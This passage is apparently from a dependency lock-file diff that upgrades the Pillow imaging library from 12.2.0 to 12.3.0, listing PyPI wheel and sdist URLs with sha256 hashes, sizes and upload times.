"https://files.pythonhosted.org/packages/4b/6e/3ccb54ce8ec4ddd1accd2d89004308b7b0b21c4ac3d20fa70af4760a4330/pillow-12.2.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5cdfebd752ec52bf5bb4e35d9c64b40826bc5b40a13df7c3cda20a2c03a0f5ed", size = 6395194, upload-time = "2026-04-01T14:43:59.864Z" }, - { url = "https://files.pythonhosted.org/packages/67/ee/21d4e8536afd1a328f01b359b4d3997b291ffd35a237c877b331c1c3b71c/pillow-12.2.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eedf4b74eda2b5a4b2b2fb4c006d6295df3bf29e459e198c90ea48e130dc75c3", size = 7082423, upload-time = "2026-04-01T14:44:02.74Z" }, - { url = "https://files.pythonhosted.org/packages/78/5f/e9f86ab0146464e8c133fe85df987ed9e77e08b29d8d35f9f9f4d6f917ba/pillow-12.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:00a2865911330191c0b818c59103b58a5e697cae67042366970a6b6f1b20b7f9", size = 6505667, upload-time = "2026-04-01T14:44:05.381Z" }, - { url = "https://files.pythonhosted.org/packages/ed/1e/409007f56a2fdce61584fd3acbc2bbc259857d555196cedcadc68c015c82/pillow-12.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1e1757442ed87f4912397c6d35a0db6a7b52592156014706f17658ff58bbf795", size = 7208580, upload-time = "2026-04-01T14:44:08.39Z" }, - { url = "https://files.pythonhosted.org/packages/23/c4/7349421080b12fb35414607b8871e9534546c128a11965fd4a7002ccfbee/pillow-12.2.0-cp313-cp313-win32.whl", hash = "sha256:144748b3af2d1b358d41286056d0003f47cb339b8c43a9ea42f5fea4d8c66b6e", size = 6375896, upload-time = "2026-04-01T14:44:11.197Z" }, - { url = "https://files.pythonhosted.org/packages/3f/82/8a3739a5e470b3c6cbb1d21d315800d8e16bff503d1f16b03a4ec3212786/pillow-12.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:390ede346628ccc626e5730107cde16c42d3836b89662a115a921f28440e6a3b", size = 7081266, upload-time = "2026-04-01T14:44:13.947Z" }, - { url = "https://files.pythonhosted.org/packages/c3/25/f968f618a062574294592f668218f8af564830ccebdd1fa6200f598e65c5/pillow-12.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:8023abc91fba39036dbce14a7d6535632f99c0b857807cbbbf21ecc9f4717f06", size = 2463508, upload-time = "2026-04-01T14:44:16.312Z" }, - { url = "https://files.pythonhosted.org/packages/4d/a4/b342930964e3cb4dce5038ae34b0eab4653334995336cd486c5a8c25a00c/pillow-12.2.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:042db20a421b9bafecc4b84a8b6e444686bd9d836c7fd24542db3e7df7baad9b", size = 5309927, upload-time = "2026-04-01T14:44:18.89Z" }, - { url = "https://files.pythonhosted.org/packages/9f/de/23198e0a65a9cf06123f5435a5d95cea62a635697f8f03d134d3f3a96151/pillow-12.2.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:dd025009355c926a84a612fecf58bb315a3f6814b17ead51a8e48d3823d9087f", size = 4698624, upload-time = "2026-04-01T14:44:21.115Z" }, - { url = "https://files.pythonhosted.org/packages/01/a6/1265e977f17d93ea37aa28aa81bad4fa597933879fac2520d24e021c8da3/pillow-12.2.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:88ddbc66737e277852913bd1e07c150cc7bb124539f94c4e2df5344494e0a612", size = 6321252, upload-time = "2026-04-01T14:44:23.663Z" }, - { url = "https://files.pythonhosted.org/packages/3c/83/5982eb4a285967baa70340320be9f88e57665a387e3a53a7f0db8231a0cd/pillow-12.2.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d362d1878f00c142b7e1a16e6e5e780f02be8195123f164edf7eddd911eefe7c", size = 8126550, upload-time = "2026-04-01T14:44:26.772Z" }, - { url = "https://files.pythonhosted.org/packages/4e/48/6ffc514adce69f6050d0753b1a18fd920fce8cac87620d5a31231b04bfc5/pillow-12.2.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c727a6d53cb0018aadd8018c2b938376af27914a68a492f59dfcaca650d5eea", size = 6433114, upload-time = "2026-04-01T14:44:29.615Z" }, - { url = "https://files.pythonhosted.org/packages/36/a3/f9a77144231fb8d40ee27107b4463e205fa4677e2ca2548e14da5cf18dce/pillow-12.2.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:efd8c21c98c5cc60653bcb311bef2ce0401642b7ce9d09e03a7da87c878289d4", size = 7115667, upload-time = "2026-04-01T14:44:32.773Z" }, - { url = "https://files.pythonhosted.org/packages/c1/fc/ac4ee3041e7d5a565e1c4fd72a113f03b6394cc72ab7089d27608f8aaccb/pillow-12.2.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9f08483a632889536b8139663db60f6724bfcb443c96f1b18855860d7d5c0fd4", size = 6538966, upload-time = "2026-04-01T14:44:35.252Z" }, - { url = "https://files.pythonhosted.org/packages/c0/a8/27fb307055087f3668f6d0a8ccb636e7431d56ed0750e07a60547b1e083e/pillow-12.2.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:dac8d77255a37e81a2efcbd1fc05f1c15ee82200e6c240d7e127e25e365c39ea", size = 7238241, upload-time = "2026-04-01T14:44:37.875Z" }, - { url = "https://files.pythonhosted.org/packages/ad/4b/926ab182c07fccae9fcb120043464e1ff1564775ec8864f21a0ebce6ac25/pillow-12.2.0-cp313-cp313t-win32.whl", hash = "sha256:ee3120ae9dff32f121610bb08e4313be87e03efeadfc6c0d18f89127e24d0c24", size = 6379592, upload-time = "2026-04-01T14:44:40.336Z" }, - { url = "https://files.pythonhosted.org/packages/c2/c4/f9e476451a098181b30050cc4c9a3556b64c02cf6497ea421ac047e89e4b/pillow-12.2.0-cp313-cp313t-win_amd64.whl", hash = "sha256:325ca0528c6788d2a6c3d40e3568639398137346c3d6e66bb61db96b96511c98", size = 7085542, upload-time = "2026-04-01T14:44:43.251Z" }, - { url = "https://files.pythonhosted.org/packages/00/a4/285f12aeacbe2d6dc36c407dfbbe9e96d4a80b0fb710a337f6d2ad978c75/pillow-12.2.0-cp313-cp313t-win_arm64.whl", hash = "sha256:2e5a76d03a6c6dcef67edabda7a52494afa4035021a79c8558e14af25313d453", size = 2465765, upload-time = "2026-04-01T14:44:45.996Z" }, - { url = "https://files.pythonhosted.org/packages/bf/98/4595daa2365416a86cb0d495248a393dfc84e96d62ad080c8546256cb9c0/pillow-12.2.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:3adc9215e8be0448ed6e814966ecf3d9952f0ea40eb14e89a102b87f450660d8", size = 4100848, upload-time = "2026-04-01T14:44:48.48Z" }, - { url = "https://files.pythonhosted.org/packages/0b/79/40184d464cf89f6663e18dfcf7ca21aae2491fff1a16127681bf1fa9b8cf/pillow-12.2.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:6a9adfc6d24b10f89588096364cc726174118c62130c817c2837c60cf08a392b", size = 4176515, upload-time = "2026-04-01T14:44:51.353Z" }, - { url = "https://files.pythonhosted.org/packages/b0/63/703f86fd4c422a9cf722833670f4f71418fb116b2853ff7da722ea43f184/pillow-12.2.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:6a6e67ea2e6feda684ed370f9a1c52e7a243631c025ba42149a2cc5934dec295", size = 3640159, upload-time = "2026-04-01T14:44:53.588Z" }, - { url = "https://files.pythonhosted.org/packages/71/e0/fb22f797187d0be2270f83500aab851536101b254bfa1eae10795709d283/pillow-12.2.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2bb4a8d594eacdfc59d9e5ad972aa8afdd48d584ffd5f13a937a664c3e7db0ed", size = 5312185, upload-time = "2026-04-01T14:44:56.039Z" }, - { url = "https://files.pythonhosted.org/packages/ba/8c/1a9e46228571de18f8e28f16fabdfc20212a5d019f3e3303452b3f0a580d/pillow-12.2.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:80b2da48193b2f33ed0c32c38140f9d3186583ce7d516526d462645fd98660ae", size = 4695386, upload-time = "2026-04-01T14:44:58.663Z" }, - { url = "https://files.pythonhosted.org/packages/70/62/98f6b7f0c88b9addd0e87c217ded307b36be024d4ff8869a812b241d1345/pillow-12.2.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:22db17c68434de69d8ecfc2fe821569195c0c373b25cccb9cbdacf2c6e53c601", size = 6280384, upload-time = "2026-04-01T14:45:01.5Z" }, - { url = "https://files.pythonhosted.org/packages/5e/03/688747d2e91cfbe0e64f316cd2e8005698f76ada3130d0194664174fa5de/pillow-12.2.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7b14cc0106cd9aecda615dd6903840a058b4700fcb817687d0ee4fc8b6e389be", size = 8091599, upload-time = "2026-04-01T14:45:04.5Z" }, - { url = "https://files.pythonhosted.org/packages/f6/35/577e22b936fcdd66537329b33af0b4ccfefaeabd8aec04b266528cddb33c/pillow-12.2.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cbeb542b2ebc6fcdacabf8aca8c1a97c9b3ad3927d46b8723f9d4f033288a0f", size = 6396021, upload-time = "2026-04-01T14:45:07.117Z" }, - { url = "https://files.pythonhosted.org/packages/11/8d/d2532ad2a603ca2b93ad9f5135732124e57811d0168155852f37fbce2458/pillow-12.2.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4bfd07bc812fbd20395212969e41931001fd59eb55a60658b0e5710872e95286", size = 7083360, upload-time = "2026-04-01T14:45:09.763Z" }, - { url = "https://files.pythonhosted.org/packages/5e/26/d325f9f56c7e039034897e7380e9cc202b1e368bfd04d4cbe6a441f02885/pillow-12.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9aba9a17b623ef750a4d11b742cbafffeb48a869821252b30ee21b5e91392c50", size = 6507628, upload-time = "2026-04-01T14:45:12.378Z" }, - { url = "https://files.pythonhosted.org/packages/5f/f7/769d5632ffb0988f1c5e7660b3e731e30f7f8ec4318e94d0a5d674eb65a4/pillow-12.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:deede7c263feb25dba4e82ea23058a235dcc2fe1f6021025dc71f2b618e26104", size = 7209321, upload-time = "2026-04-01T14:45:15.122Z" }, - { url = "https://files.pythonhosted.org/packages/6a/7a/c253e3c645cd47f1aceea6a8bacdba9991bf45bb7dfe927f7c893e89c93c/pillow-12.2.0-cp314-cp314-win32.whl", hash = "sha256:632ff19b2778e43162304d50da0181ce24ac5bb8180122cbe1bf4673428328c7", size = 6479723, upload-time = "2026-04-01T14:45:17.797Z" }, - { url = "https://files.pythonhosted.org/packages/cd/8b/601e6566b957ca50e28725cb6c355c59c2c8609751efbecd980db44e0349/pillow-12.2.0-cp314-cp314-win_amd64.whl", hash = "sha256:4e6c62e9d237e9b65fac06857d511e90d8461a32adcc1b9065ea0c0fa3a28150", size = 7217400, upload-time = "2026-04-01T14:45:20.529Z" }, - { url = "https://files.pythonhosted.org/packages/d6/94/220e46c73065c3e2951bb91c11a1fb636c8c9ad427ac3ce7d7f3359b9b2f/pillow-12.2.0-cp314-cp314-win_arm64.whl", hash = "sha256:b1c1fbd8a5a1af3412a0810d060a78b5136ec0836c8a4ef9aa11807f2a22f4e1", size = 2554835, upload-time = "2026-04-01T14:45:23.162Z" }, - { url = "https://files.pythonhosted.org/packages/b6/ab/1b426a3974cb0e7da5c29ccff4807871d48110933a57207b5a676cccc155/pillow-12.2.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:57850958fe9c751670e49b2cecf6294acc99e562531f4bd317fa5ddee2068463", size = 5314225, upload-time = "2026-04-01T14:45:25.637Z" }, - { url = "https://files.pythonhosted.org/packages/19/1e/dce46f371be2438eecfee2a1960ee2a243bbe5e961890146d2dee1ff0f12/pillow-12.2.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:d5d38f1411c0ed9f97bcb49b7bd59b6b7c314e0e27420e34d99d844b9ce3b6f3", size = 4698541, upload-time = "2026-04-01T14:45:28.355Z" }, - { url = "https://files.pythonhosted.org/packages/55/c3/7fbecf70adb3a0c33b77a300dc52e424dc22ad8cdc06557a2e49523b703d/pillow-12.2.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5c0a9f29ca8e79f09de89293f82fc9b0270bb4af1d58bc98f540cc4aedf03166", size = 6322251, upload-time = "2026-04-01T14:45:30.924Z" }, - { url = "https://files.pythonhosted.org/packages/1c/3c/7fbc17cfb7e4fe0ef1642e0abc17fc6c94c9f7a16be41498e12e2ba60408/pillow-12.2.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1610dd6c61621ae1cf811bef44d77e149ce3f7b95afe66a4512f8c59f25d9ebe", size = 8127807, upload-time = "2026-04-01T14:45:33.908Z" }, - { url = "https://files.pythonhosted.org/packages/ff/c3/a8ae14d6defd2e448493ff512fae903b1e9bd40b72efb6ec55ce0048c8ce/pillow-12.2.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a34329707af4f73cf1782a36cd2289c0368880654a2c11f027bcee9052d35dd", size = 6433935, upload-time = "2026-04-01T14:45:36.623Z" }, - { url = "https://files.pythonhosted.org/packages/6e/32/2880fb3a074847ac159d8f902cb43278a61e85f681661e7419e6596803ed/pillow-12.2.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e9c4f5b3c546fa3458a29ab22646c1c6c787ea8f5ef51300e5a60300736905e", size = 7116720, upload-time = "2026-04-01T14:45:39.258Z" }, - { url = "https://files.pythonhosted.org/packages/46/87/495cc9c30e0129501643f24d320076f4cc54f718341df18cc70ec94c44e1/pillow-12.2.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:fb043ee2f06b41473269765c2feae53fc2e2fbf96e5e22ca94fb5ad677856f06", size = 6540498, upload-time = "2026-04-01T14:45:41.879Z" }, - { url = "https://files.pythonhosted.org/packages/18/53/773f5edca692009d883a72211b60fdaf8871cbef075eaa9d577f0a2f989e/pillow-12.2.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f278f034eb75b4e8a13a54a876cc4a5ab39173d2cdd93a638e1b467fc545ac43", size = 7239413, upload-time = "2026-04-01T14:45:44.705Z" }, - { url = "https://files.pythonhosted.org/packages/c9/e4/4b64a97d71b2a83158134abbb2f5bd3f8a2ea691361282f010998f339ec7/pillow-12.2.0-cp314-cp314t-win32.whl", hash = "sha256:6bb77b2dcb06b20f9f4b4a8454caa581cd4dd0643a08bacf821216a16d9c8354", size = 6482084, upload-time = "2026-04-01T14:45:47.568Z" }, - { url = "https://files.pythonhosted.org/packages/ba/13/306d275efd3a3453f72114b7431c877d10b1154014c1ebbedd067770d629/pillow-12.2.0-cp314-cp314t-win_amd64.whl", hash = "sha256:6562ace0d3fb5f20ed7290f1f929cae41b25ae29528f2af1722966a0a02e2aa1", size = 7225152, upload-time = "2026-04-01T14:45:50.032Z" }, - { url = "https://files.pythonhosted.org/packages/ff/6e/cf826fae916b8658848d7b9f38d88da6396895c676e8086fc0988073aaf8/pillow-12.2.0-cp314-cp314t-win_arm64.whl", hash = "sha256:aa88ccfe4e32d362816319ed727a004423aab09c5cea43c01a4b435643fa34eb", size = 2556579, upload-time = "2026-04-01T14:45:52.529Z" }, - { url = "https://files.pythonhosted.org/packages/4e/b7/2437044fb910f499610356d1352e3423753c98e34f915252aafecc64889f/pillow-12.2.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0538bd5e05efec03ae613fd89c4ce0368ecd2ba239cc25b9f9be7ed426b0af1f", size = 5273969, upload-time = "2026-04-01T14:45:55.538Z" }, - { url = "https://files.pythonhosted.org/packages/f6/f4/8316e31de11b780f4ac08ef3654a75555e624a98db1056ecb2122d008d5a/pillow-12.2.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:394167b21da716608eac917c60aa9b969421b5dcbbe02ae7f013e7b85811c69d", size = 4659674, upload-time = "2026-04-01T14:45:58.093Z" }, - { url = "https://files.pythonhosted.org/packages/d4/37/664fca7201f8bb2aa1d20e2c3d5564a62e6ae5111741966c8319ca802361/pillow-12.2.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5d04bfa02cc2d23b497d1e90a0f927070043f6cbf303e738300532379a4b4e0f", size = 5288479, upload-time = "2026-04-01T14:46:01.141Z" }, - { url = "https://files.pythonhosted.org/packages/49/62/5b0ed78fce87346be7a5cfcfaaad91f6a1f98c26f86bdbafa2066c647ef6/pillow-12.2.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0c838a5125cee37e68edec915651521191cef1e6aa336b855f495766e77a366e", size = 7032230, upload-time = "2026-04-01T14:46:03.874Z" }, - { url = "https://files.pythonhosted.org/packages/c3/28/ec0fc38107fc32536908034e990c47914c57cd7c5a3ece4d8d8f7ffd7e27/pillow-12.2.0-pp311-pypy311_pp73-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4a6c9fa44005fa37a91ebfc95d081e8079757d2e904b27103f4f5fa6f0bf78c0", size = 5355404, upload-time = "2026-04-01T14:46:06.33Z" }, - { url = "https://files.pythonhosted.org/packages/5e/8b/51b0eddcfa2180d60e41f06bd6d0a62202b20b59c68f5a132e615b75aecf/pillow-12.2.0-pp311-pypy311_pp73-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:25373b66e0dd5905ed63fa3cae13c82fbddf3079f2c8bf15c6fb6a35586324c1", size = 6002215, upload-time = "2026-04-01T14:46:08.83Z" }, - { url = "https://files.pythonhosted.org/packages/bc/60/5382c03e1970de634027cee8e1b7d39776b778b81812aaf45b694dfe9e28/pillow-12.2.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:bfa9c230d2fe991bed5318a5f119bd6780cda2915cca595393649fc118ab895e", size = 7080946, upload-time = "2026-04-01T14:46:11.734Z" }, +version = "12.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/1c/3d/bb7fca845737cf9d7dbde16ed1843984665ff2e0a518f5db43e77ec540b9/pillow-12.3.0.tar.gz", hash = "sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce", size = 47025035, upload-time = "2026-07-01T11:56:38.965Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/25/c2/669d88644cddb1485bd9534e63e8cf476c8e51cb3c3a1297677023505c0e/pillow-12.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a", size = 5392418, upload-time = "2026-07-01T11:53:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/6b/ba/3762f376a2948e3036488d773a146e0ae6ecc2ca03ac20e2615bd0b2ba02/pillow-12.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7", size = 4785287, upload-time = "2026-07-01T11:53:29.761Z" }, + { url = "https://files.pythonhosted.org/packages/07/50/b5d688cc9c52d4482f3d5bcab6ce20bc2a74a85d2343841c907444a3be2c/pillow-12.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f", size = 6253754, upload-time = "2026-07-01T11:53:32.298Z" }, + { url = "https://files.pythonhosted.org/packages/4e/89/36f4cd76cf4baf05c50ababb976249153f18c959171c7f6ba09a6f217260/pillow-12.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec", size = 6925605, upload-time = "2026-07-01T11:53:34.487Z" }, + { url = "https://files.pythonhosted.org/packages/eb/c0/4de58cf6633b9e3a6061ef4be6fb91fc3c90b812ece886f531e3c523d777/pillow-12.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468", size = 6327788, upload-time = "2026-07-01T11:53:36.433Z" }, + { url = "https://files.pythonhosted.org/packages/87/3c/14d53682a19550dbbaf3b598f807d5457646c510805a44c7d7891cd1cd1a/pillow-12.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed", size = 7036288, upload-time = "2026-07-01T11:53:38.712Z" }, + { url = "https://files.pythonhosted.org/packages/38/1d/36279e3c77efe034e4cc2b0393ee74ffdb5a62391dacbf9b916154f5f0b8/pillow-12.3.0-cp310-cp310-win32.whl", hash = "sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1", size = 6472396, upload-time = "2026-07-01T11:53:40.781Z" }, + { url = "https://files.pythonhosted.org/packages/48/7c/8fa0039574c476d7c6fa57dd7c32a130436877c6ec1e5ce1cc8ec44878c1/pillow-12.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb", size = 7226887, upload-time = "2026-07-01T11:53:42.764Z" }, + { url = "https://files.pythonhosted.org/packages/fa/17/e324be141d173c1c919428066c3259f21c1b8982e564e01a4a81e96dbdcf/pillow-12.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f", size = 2568039, upload-time = "2026-07-01T11:53:45.372Z" }, + { url = "https://files.pythonhosted.org/packages/fb/c8/0a78b0e02d7ac54bc03e5321c9220da52f0c2ea83b21f7c40e7f3169c502/pillow-12.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756", size = 5392415, upload-time = "2026-07-01T11:53:47.162Z" }, + { url = "https://files.pythonhosted.org/packages/b2/5b/a02d30018abd97ced9f5a6c63d28597694a00d066516b9c1c6de45859fc9/pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6", size = 4785266, upload-time = "2026-07-01T11:53:49.079Z" }, + { url = "https://files.pythonhosted.org/packages/c8/98/766667a4be768150a202836acd9fad19c06824ca86c4286d3cf6b274964e/pillow-12.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd", size = 6263814, upload-time = "2026-07-01T11:53:51.32Z" }, + { url = "https://files.pythonhosted.org/packages/3b/2d/ede717bc1144f63886c21fd349bb95860b0d1a21149ff16f2bb362b612b6/pillow-12.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd", size = 6934408, upload-time = "2026-07-01T11:53:53.487Z" }, + { url = "https://files.pythonhosted.org/packages/a3/48/9c58b685e69d49c31af6c8eb9012055fab7e665785165c84796e2c73ce72/pillow-12.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c", size = 6337160, upload-time = "2026-07-01T11:53:55.457Z" }, + { url = "https://files.pythonhosted.org/packages/ff/fa/dc2a5c0ba6df93f67c31d34b808b7ce440b40cdbf96f0b81cde1d1e6fa93/pillow-12.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5", size = 7045172, upload-time = "2026-07-01T11:53:57.736Z" }, + { url = "https://files.pythonhosted.org/packages/86/a5/444817a4d4c4c2417df00513086ca196f388d8f9ef40c2e4ccd1ad1af54b/pillow-12.3.0-cp311-cp311-win32.whl", hash = "sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b", size = 6472232, upload-time = "2026-07-01T11:53:59.767Z" }, + { url = "https://files.pythonhosted.org/packages/63/c6/4bad1b18d132a50b27e1365e1ab163616f7a5bb56d330f66f9d1d9d4f9d4/pillow-12.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a", size = 7233653, upload-time = "2026-07-01T11:54:02.066Z" }, + { url = "https://files.pythonhosted.org/packages/fd/16/00f91ab7760dc842f5aad55217e80fc4a7067a0604535249bc8a2d6d9870/pillow-12.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26", size = 2568195, upload-time = "2026-07-01T11:54:04.622Z" }, + { url = "https://files.pythonhosted.org/packages/37/bf/fb3ebff8ddcb76aac5a01389251bbbb9519922a9b520d8247c1ca864a25d/pillow-12.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965", size = 5345969, upload-time = "2026-07-01T11:54:06.397Z" }, + { url = "https://files.pythonhosted.org/packages/d8/66/9a386a92561f402389a4fc70c18838bf6d35eb5eb5c6850b4b2dc64f5048/pillow-12.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7", size = 4780323, upload-time = "2026-07-01T11:54:09.351Z" }, + { url = "https://files.pythonhosted.org/packages/25/27/ac8f99618ffd3dde21db0f4d4b1d2ab00c0880595bfd17df103f7f39fd0c/pillow-12.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9", size = 6266838, upload-time = "2026-07-01T11:54:11.71Z" }, + { url = "https://files.pythonhosted.org/packages/84/21/a35af28dcc61f37ed850a2d64c65c701321dfbf25085e469d5559360cbbf/pillow-12.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91", size = 6940830, upload-time = "2026-07-01T11:54:13.732Z" }, + { url = "https://files.pythonhosted.org/packages/eb/51/8b08617af3ad95e33ce6d7dd2c99ed6c8298f7fb131636303956be022e25/pillow-12.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c", size = 6344383, upload-time = "2026-07-01T11:54:15.756Z" }, + { url = "https://files.pythonhosted.org/packages/1d/72/cf78ac9780bb93c28328f408973845a309d4d145041665f734572ced1b52/pillow-12.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df", size = 7052934, upload-time = "2026-07-01T11:54:17.721Z" }, + { url = "https://files.pythonhosted.org/packages/20/20/25e0f4dc178a6bc0696793720055519a0de89e7661dae886992decbd2f81/pillow-12.3.0-cp312-cp312-win32.whl", hash = "sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f", size = 6472684, upload-time = "2026-07-01T11:54:19.839Z" }, + { url = "https://files.pythonhosted.org/packages/45/89/da2f7971a317f83d807fdd4065c0af40208e59e692cc43d315a71a0e96d1/pillow-12.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09", size = 7227137, upload-time = "2026-07-01T11:54:22.025Z" }, + { url = "https://files.pythonhosted.org/packages/de/47/4845a0a6c0dbf1db8456bd9fc791f13c5ced7ced20606d08a0aacfd25b49/pillow-12.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510", size = 2568267, upload-time = "2026-07-01T11:54:24.051Z" }, + { url = "https://files.pythonhosted.org/packages/9d/ac/31fb64e1e7efb5a4b50cd3d92049ba89ac6e4d8d3bb6a74e15048ca3353e/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89", size = 4161684, upload-time = "2026-07-01T11:54:25.934Z" }, + { url = "https://files.pythonhosted.org/packages/87/b4/9805e23d2b4d77842b468513841fda254ee42f0289d25088340e4ff46e2d/pillow-12.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace", size = 4255487, upload-time = "2026-07-01T11:54:27.935Z" }, + { url = 